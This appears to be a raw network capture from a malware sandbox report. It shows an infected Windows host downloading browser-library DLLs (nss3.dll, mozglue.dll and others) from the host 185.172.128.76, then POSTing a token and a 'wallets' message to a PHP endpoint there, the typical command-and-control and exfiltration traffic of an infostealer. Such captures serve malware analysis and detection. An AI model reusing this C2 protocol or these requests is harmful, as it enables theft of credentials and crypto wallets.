00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Apr 25, 2024 21:47:59.404063940 CEST	93	OUT	GET /15f649199f40275b/mozglue.dll HTTP/1.1 Host: 185.172.128.76 Cache-Control: no-cache
Apr 25, 2024 21:47:59.718784094 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 19:47:59 GMT Content-Type: application/x-msdos-program Content-Length: 608080 Connection: keep-alive Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Apr 25, 2024 21:48:00.196388006 CEST	94	OUT	GET /15f649199f40275b/msvcp140.dll HTTP/1.1 Host: 185.172.128.76 Cache-Control: no-cache
Apr 25, 2024 21:48:00.510360003 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 19:48:00 GMT Content-Type: application/x-msdos-program Content-Length: 450024 Connection: keep-alive Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Apr 25, 2024 21:48:00.874432087 CEST	90	OUT	GET /15f649199f40275b/nss3.dll HTTP/1.1 Host: 185.172.128.76 Cache-Control: no-cache
Apr 25, 2024 21:48:01.192164898 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 19:48:01 GMT Content-Type: application/x-msdos-program Content-Length: 2046288 Connection: keep-alive Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Apr 25, 2024 21:48:02.311618090 CEST	94	OUT	GET /15f649199f40275b/softokn3.dll HTTP/1.1 Host: 185.172.128.76 Cache-Control: no-cache
Apr 25, 2024 21:48:02.626061916 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 19:48:02 GMT Content-Type: application/x-msdos-program Content-Length: 257872 Connection: keep-alive Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Apr 25, 2024 21:48:02.881098032 CEST	98	OUT	GET /15f649199f40275b/vcruntime140.dll HTTP/1.1 Host: 185.172.128.76 Cache-Control: no-cache
Apr 25, 2024 21:48:03.198220015 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 19:48:03 GMT Content-Type: application/x-msdos-program Content-Length: 80880 Connection: keep-alive Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Apr 25, 2024 21:48:03.782581091 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDGDAAKFHIEHIECAFBAA Host: 185.172.128.76 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Apr 25, 2024 21:48:04.123473883 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 19:48:04 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 25, 2024 21:48:04.169301033 CEST	468	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HCGCBFHCFCFBFIEBGHJE Host: 185.172.128.76 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 43 47 43 42 46 48 43 46 43 46 42 46 49 45 42 47 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 38 64 66 30 36 38 30 63 33 63 37 37 37 61 35 31 64 36 32 63 33 36 33 38 33 39 36 35 65 65 37 36 36 35 65 66 36 35 65 32 30 36 32 64 36 63 34 31 34 35 33 64 30 63 38 35 66 34 36 38 62 37 38 39 35 31 66 37 33 65 63 0d 0a 2d 2d 2d 2d 2d 2d 48 43 47 43 42 46 48 43 46 43 46 42 46 49 45 42 47 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 48 43 47 43 42 46 48 43 46 43 46 42 46 49 45 42 47 48 4a 45 2d 2d 0d 0a Data Ascii: ------HCGCBFHCFCFBFIEBGHJEContent-Disposition: form-data; name="token"f8df0680c3c777a51d62c36383965ee7665ef65e2062d6c41453d0c85f468b78951f73ec------HCGCBFHCFCFBFIEBGHJEContent-Disposition: form-data; name="message"wallets------HCGCBFHCFCFBFIEBGHJE--
